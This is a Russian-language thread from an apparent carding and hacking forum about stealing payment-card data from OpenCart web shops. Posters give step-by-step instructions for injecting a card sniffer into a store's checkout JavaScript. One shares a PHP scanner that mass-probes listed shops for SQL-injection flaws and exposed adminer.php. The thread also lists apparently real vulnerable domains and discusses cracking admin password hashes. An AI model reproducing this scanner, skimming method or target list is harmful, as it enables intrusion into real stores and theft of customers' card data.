если не сложно , можно в пм или прям тут в теме , дать ссылки как поставить через шел снифф именно в опенкарт.
Заранее спасибо кто откликнится .
-
XSS.stack #1 – первый литературный журнал от юзеров форума
Статья Добываем CC из шопов.
- Автор темы 360
- Дата начала
Заранее спасибо кто откликнится .
Смотришь страницу оплаты ( view-source: )
Смотришь какие JS фаилы подключаются во время ввода нужных тебе данных. ( <script src="/main.js"> )
Проверяешь есть ли права на правку этих фаилов.
Дописываешь в один из них сниффер.
Вот тут достаточно много свежей (и не очень) инфы: https://xss.pro/threads/80413/post-558805
Ни разу не встречал залоченный
Обычно достаточно просто поставить туда, но я бы тебя предостерег от установки на всех доступах в одно и то-же место.
Это на винде вообще реально сделать или самоубийство?
Что именно? Запустить скрипт из первого поста? Реально. PHP5 + Curl.
Пдскажите плиз, давно еще парсил опенкарт , сопилось большое количество , как будет ефективней сделать? напарсить новые линки с этими уязвимыми одей, или обрезать добены и пропустить через этот чекер?Да я собственно тут, тема разумеется рабочая. Не могу восстановить старый аккаунт. Упростил максимально код. На данном этапе публично могу выложить только в формате чекера.
Обновление:
В приватной версии:
PHP:<?php /* opencart security tool .------..------..------..------. |O.--. ||C.--. ||S.--. ||T.--. | | :/\: || :/\: || :/\: || :/\: | | :\/: || :\/: || :\/: || (__) | | '--'O|| '--'C|| '--'S|| '--'T| `------'`------'`------'`------' * public version */ $adminer = array("url" => "/adminer.php","true" => '?file=favicon.ico'); $manufacturer = array("url" => "/index.php?route=product/manufacturer/info&manufacturer_id='", "true" => "syntax"); $product = array("url" => "/index.php?route=product/product&path=4_16&product_id=431'", "true" => "syntax;"); $search = array("url" => "/index.php?route=product/search&tag='", "true" => "syntax;"); $seo = array("url" => "/'", "true" => "syntax;"); $enquiry = array("url" => "/index.php?route=information/contact&enquiry='", "true" => "syntax;"); $journal3 = array("url" => "/index.php?route=journal3/product&product_id='", "true" => "syntax;"); $pav = array("url" => "/index.php?route=pavblog/blog&blog_id=160'", "true" => "syntax;"); $blog_list = array("url" => "/index.php?route=product/blog_list&blogger_id=11'", "true" => "syntax;"); $blog = array("url" => "/index.php?route=blog/blog&blog_id=140'", "true" => "syntax;"); function curl_me($url){ $curl = curl_init(); if (!$curl) die("Couldn't initialize a cURL handle"); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_USERAGENT, 'WithLoveFromXSS.is'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_FAILONERROR, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); $html = curl_exec($curl); return $html; } $list = file('wow.txt'); foreach($list as $target){ $target = trim($target); //print '=> ' .$target. PHP_EOL; if(stripos(curl_me($target.$adminer['url']), $adminer['true']) !== false) { print $target.$adminer['url']. PHP_EOL;} if(stripos(curl_me($target.$manufacturer['url']), $manufacturer['true']) !== false) { print $target.$manufacturer['url']. PHP_EOL;} if(stripos(curl_me($target.$product['url']), $product['true']) !== false) { print $target.$product['url']. PHP_EOL;} if(stripos(curl_me($target.$search['url']), $search['true']) !== false) { print $target.$search['url']. PHP_EOL;} if(stripos(curl_me($target.$seo['url']), $seo['true']) !== false) { print $target.$seo['url']. PHP_EOL;} if(stripos(curl_me($target.$enquiry['url']), $enquiry['true']) !== false) {print $target.$enquiry['url']. PHP_EOL;} if(stripos(curl_me($target.$journal3['url']), $journal3['true']) !== false) { print $target.$journal3['url']. PHP_EOL;} if(stripos(curl_me($target.$pav['url']), $pav['true']) !== false) { print $target.$pav['url']. PHP_EOL;} if(stripos(curl_me($target.$blog_list['url']), $blog_list['true']) !== false) { print $target.$blog_list['url']. PHP_EOL;} if(stripos(curl_me($target.$blog['url']), $blog['true']) !== false) { print $target.$blog['url']. PHP_EOL;} }
Ну и по традиции немного результатов, есть с формами
Код:http://hq-tech.com//index.php?route=product/product&path=4_16&product_id=431%27 tillsonburggunshop.com/adminer.php xmasdvdset.com/' leebhardnesstesters.com/adminer.php sec-on.com/admin/:RESET: https://sec-on.com/index.php?route=product/manufacturer/info&manufacturer_id=' aqqfa.com/admin/:RESET: https://aqqfa.com/index.php?route=product/manufacturer/info&manufacturer_id='
Помогите пожалуйста , запустить этот паблик чекер.
Вот тут расписывали, и все получилось https://xss.pro/threads/30928/post-269971 . Но как этот чекер поставить? Помогите пожалуйста, нужно домены свои прочекать на эти 0day , ну и и все что там в паблик чекере.
Последнее редактирование:
Что именно у тебя не получается?
хай, получилось вернуть кнопку ? У меня другая ситуация , админ поменял обратно пасс , и кнопка пропала. Есть какой то другой способ получить доступ, потому что изначально там пасс был бешенный, а счас наверное еще хуже. Скуля работает.
Это не сам пас, а его хеш в бд. Кнопку ты не вернёшь, сработала встроенная защита или админ убрал галочку с reset password в настройках, где в бд config_password в oc_setting сменился с 1 на 0
)))) та понятно что хеш, просто его сломать не смогли, в платном разделе , я это имею в виду, что он там наверное еще хуже пас сделал, просто шоп хороший
Ты указывал что хеш с опенкарта? Там другие настройки, чекай гит Джона риппера
2019 года ветка... идёт 2023ий год, а опенкарт - всё ломают...
Хорошая статья, автору спасибо!
В итоге,
1) метод рабочий или нет?
2) только для opencart?
1) метод рабочий или нет?
2) только для opencart?